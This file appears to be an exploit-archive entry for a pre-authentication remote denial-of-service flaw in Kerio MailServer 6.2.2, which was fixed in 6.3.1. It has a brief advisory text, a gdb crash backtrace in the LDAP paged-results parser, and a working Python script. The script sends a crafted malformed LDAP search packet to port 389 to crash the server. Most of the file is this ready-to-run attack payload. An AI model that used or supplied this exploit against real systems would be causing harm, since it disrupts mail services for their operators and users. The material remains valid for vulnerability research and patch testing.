77 lines
No EOL
2.8 KiB
Python
Executable file
77 lines
No EOL
2.8 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/21091/info
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Kerio MailServer is prone to a denial-of-service vulnerability due to a flaw when handling malformed network traffic.
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Successful exploits will result in denial-of-service conditions.
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#!/usr/bin/env python
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# kms1.py - Kerio MailServer 6.2.2 preauth remote DoS
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# fixed in Kerio MailServer 6.3.1
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#
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# Copyright (c) 2006 Evgeny Legerov
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#
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# Permission to use, copy, modify, and distribute this software for any
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# purpose with or without fee is hereby granted, provided that the above
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# copyright notice and this permission notice appear in all copies.
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#
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# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
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# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
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# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
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# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
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# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
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# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
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# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
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"""
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gdb backtrace:
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# gdb -q ./mailserver core.18450
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(no debugging symbols found)
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Using host libthread_db library "/lib/libthread_db.so.1".
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Reading symbols from shared object read from target memory...(no debugging
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symbols found)...done.
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Loaded system supplied DSO at 0xb76000
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Core was generated by `/opt/kerio/mailserver/mailserver /opt/kerio/mailserver'.
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Program terminated with signal 11, Segmentation fault.
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...
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Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
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Loaded symbols for /lib/ld-linux.so.2
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#0 0x0821c444 in LDAPSearchRequest::parsePagedResults ()
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(gdb) bt
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#0 0x0821c444 in LDAPSearchRequest::parsePagedResults ()
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#1 0x0821c387 in LDAPSearchRequest::setAll ()
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#2 0x08093d8a in Ber::getSearchRequest ()
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#3 0x08205e48 in LDAPServer::search ()
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#4 0x08207de0 in LDAPServer::server ()
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#5 0x08207e2e in ldap_handler ()
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#6 0x0841be13 in KServerTask::handler ()
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#7 0x082033c6 in KThreadPool::workerThread ()
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#8 0x086ee7b6 in kerio::tiny::thread ()
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#9 0x00772b80 in start_thread () from /lib/libpthread.so.0
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#10 0x00558dee in clone () from /lib/libc.so.6
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(gdb) x/i $eip
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0x821c444 <_ZN17LDAPSearchRequest17parsePagedResultsE13LDAPExtension+12>:
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mov (%eax),%edx
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(gdb) i r eax
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eax 0x449 1097
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"""
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from socket import *
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host = "localhost"
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port = 389
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s = "\x30\x82\x04\x4d\x02\x01\x26\x63\x82\x04\x46\x04\x00\x0a\x01\x02"
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s += "\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62"
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s += "\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x02\x04\x00\xa0\x82\x04"
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s += "\x20\x30\x82\x04\x1c"
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s += "\x01"*1024
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s += "\x16\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x31"
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s += "\x33\x35\x35\x36\x2e\x31\x2e\x34\x2e\x34\x37\x33\x01\x01\x00\x04"
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s += "\x00"
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sock = socket(AF_INET, SOCK_STREAM)
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sock.connect((host,port))
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sock.sendall(s)
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sock.recv(10000)
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sock.close() |